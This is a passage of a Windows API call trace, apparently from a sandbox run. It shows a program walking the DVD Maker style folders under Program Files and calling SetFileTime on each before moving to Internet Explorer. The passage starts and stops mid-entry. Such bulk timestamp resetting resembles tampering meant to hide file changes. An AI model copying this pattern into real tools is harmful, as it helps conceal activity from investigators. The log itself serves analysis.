ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1a3fc59, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f8248, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4f8110 [0059.991] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0059.991] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0059.991] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0059.991] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.993] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0059.993] CloseHandle (hObject=0x90) returned 1 [0059.995] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.996] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.996] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.996] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.997] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.997] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.998] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.999] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0060.000] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0060.002] lstrcmpA (lpString1=".", lpString2="Memories") returned -1 [0060.002] lstrcmpA (lpString1="..", lpString2="Memories") returned -1 [0060.002] FindFirstFileA (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9fbd8be5, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab41c3c, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9fdc8b88, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f8278, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4f8110 [0060.004] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0060.004] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0060.004] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0060.004] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0060.005] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0060.005] CloseHandle (hObject=0x90) returned 1 [0060.006] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0060.006] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0060.006] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0060.007] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0060.007] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0060.007] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0060.008] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0060.042] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0060.042] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0060.043] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0060.043] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0060.043] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0060.043] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0060.044] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0060.044] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0060.044] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0060.044] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0060.045] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0060.045] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0060.045] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0060.045] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0060.046] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0060.046] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0060.046] lstrcmpA (lpString1=".", lpString2="OldAge") returned -1 [0060.046] lstrcmpA (lpString1="..", lpString2="OldAge") returned -1 [0060.047] FindFirstFileA (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f465237, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7ae1d4, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f48b4a6, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f610, dwReserved1=0x4f8240, cFileName=".", cAlternateFileName="")) returned 0x4f8110 [0060.049] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0060.049] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0060.049] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0060.049] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0060.051] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0060.051] CloseHandle (hObject=0x90) returned 1 [0060.051] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0060.051] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0060.052] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0060.052] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0060.052] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0060.052] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0060.052] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0060.052] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0060.053] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0060.053] lstrcmpA (lpString1=".", lpString2="Performance") returned -1 [0060.053] lstrcmpA (lpString1="..", lpString2="Performance") returned -1 [0060.053] FindFirstFileA (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f4fdbf3, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab8e11a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f9e8c42, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f8238, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4f8110 [0060.055] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0060.055] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0060.055] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0060.056] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0060.057] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0060.057] CloseHandle (hObject=0x90) returned 1 [0060.058] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0060.058] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0060.059] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0060.059] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0060.059] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0060.060] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0060.060] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0060.061] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0060.061] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0060.061] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0060.061] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0060.062] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0060.062] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0060.064] lstrcmpA (lpString1=".", lpString2="Pets") returned -1 [0060.064] lstrcmpA (lpString1="..", lpString2="Pets") returned -1 [0060.064] FindFirstFileA (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa15a10e8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa89306e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa198102e, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f8248, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4f8110 [0060.067] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0060.067] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0060.067] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0060.068] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0060.068] CloseHandle (hObject=0x90) returned 1 [0060.075] lstrcmpA (lpString1=".", lpString2="Push") returned -1 [0060.075] lstrcmpA (lpString1="..", lpString2="Push") returned -1 [0060.075] FindFirstFileA (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa11287e6, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa73ba87, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa119af33, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f610, dwReserved1=0x4f8240, cFileName=".", cAlternateFileName="")) returned 0x4f8110 [0060.077] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0060.077] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0060.077] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0060.079] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0060.079] CloseHandle (hObject=0x90) returned 1 [0060.081] lstrcmpA (lpString1=".", lpString2="Rectangles") returned -1 [0060.081] lstrcmpA (lpString1="..", lpString2="Rectangles") returned -1 [0060.081] FindFirstFileA (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f38039d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa89306e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f3f2aea, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f8238, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4f8110 [0060.085] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0060.085] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0060.085] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0060.087] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0060.087] CloseHandle (hObject=0x90) returned 1 [0060.091] lstrcmpA (lpString1=".", lpString2="ResizingPanels") returned -1 [0060.091] lstrcmpA (lpString1="..", lpString2="ResizingPanels") returned -1 [0060.091] FindFirstFileA (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa119af33, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa86cdff, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa12338ef, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f610, dwReserved1=0x4f8240, cFileName=".", cAlternateFileName="")) returned 0x4f8110 [0060.094] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0060.094] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0060.094] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0060.095] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0060.095] CloseHandle (hObject=0x90) returned 1 [0060.099] lstrcmpA (lpString1=".", lpString2="Shatter") returned -1 [0060.099] lstrcmpA (lpString1="..", lpString2="Shatter") returned -1 [0060.099] FindFirstFileA (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f4d7984, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa9057bb, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f4fdbf3, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f610, dwReserved1=0x4f8240, cFileName=".", cAlternateFileName="")) returned 0x4f8110 [0060.102] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0060.102] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0060.102] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0060.104] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0060.104] CloseHandle (hObject=0x90) returned 1 [0060.105] lstrcmpA (lpString1=".", lpString2="SpecialOccasion") returned -1 [0060.105] lstrcmpA (lpString1="..", lpString2="SpecialOccasion") returned -1 [0060.105] FindFirstFileA (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1a65ec8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa92ba2a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1ad8615, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f8238, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4f8110 [0060.107] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0060.107] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0060.107] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0060.109] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0060.109] CloseHandle (hObject=0x90) returned 1 [0060.113] lstrcmpA (lpString1=".", lpString2="Sports") returned -1 [0060.113] lstrcmpA (lpString1="..", lpString2="Sports") returned -1 [0060.113] FindFirstFileA (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9fdc8b88, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa86cdff, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa0e2d73a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f8260, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4f8110 [0060.118] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0060.118] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0060.118] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0060.121] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0060.121] CloseHandle (hObject=0x90) returned 1 [0060.129] lstrcmpA (lpString1=".", lpString2="Stacking") returned -1 [0060.129] lstrcmpA (lpString1="..", lpString2="Stacking") returned -1 [0060.129] FindFirstFileA (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa198102e, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa9057bb, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa19a729d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f8248, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4f8110 [0060.132] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0060.132] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0060.132] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0060.134] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0060.134] CloseHandle (hObject=0x90) returned 1 [0060.136] lstrcmpA (lpString1=".", lpString2="Travel") returned -1 [0060.136] lstrcmpA (lpString1="..", lpString2="Travel") returned -1 [0060.136] FindFirstFileA (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa108fe2a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa8b92dd, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa11287e6, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f8240, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4f8110 [0060.139] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0060.139] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0060.139] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0060.141] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0060.141] CloseHandle (hObject=0x90) returned 1 [0060.156] lstrcmpA (lpString1=".", lpString2="VideoWall") returned -1 [0060.156] lstrcmpA (lpString1="..", lpString2="VideoWall") returned -1 [0060.156] FindFirstFileA (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1ad8615, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa820921, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1ad8615, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4f8110 [0060.156] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0060.157] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0060.157] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0060.158] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0060.158] CloseHandle (hObject=0x90) returned 1 [0060.159] lstrcmpA (lpString1=".", lpString2="Vignette") returned -1 [0060.159] lstrcmpA (lpString1="..", lpString2="Vignette") returned -1 [0060.159] FindFirstFileA (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1ad8615, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa761cf6, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1afe884, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f8240, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4f8110 [0060.162] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0060.162] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0060.162] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0060.164] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0060.164] CloseHandle (hObject=0x90) returned 1 [0060.166] lstrcmpA (lpString1=".", lpString2="Internet Explorer") returned -1 [0060.166] lstrcmpA (lpString1="..", lpString2="Internet Explorer") returned -1 [0060.166] FindFirstFileA (in: lpFileName="C:\\Program Files\\Internet Explorer\\*.*", lpFindFileData=0x18fb98 | 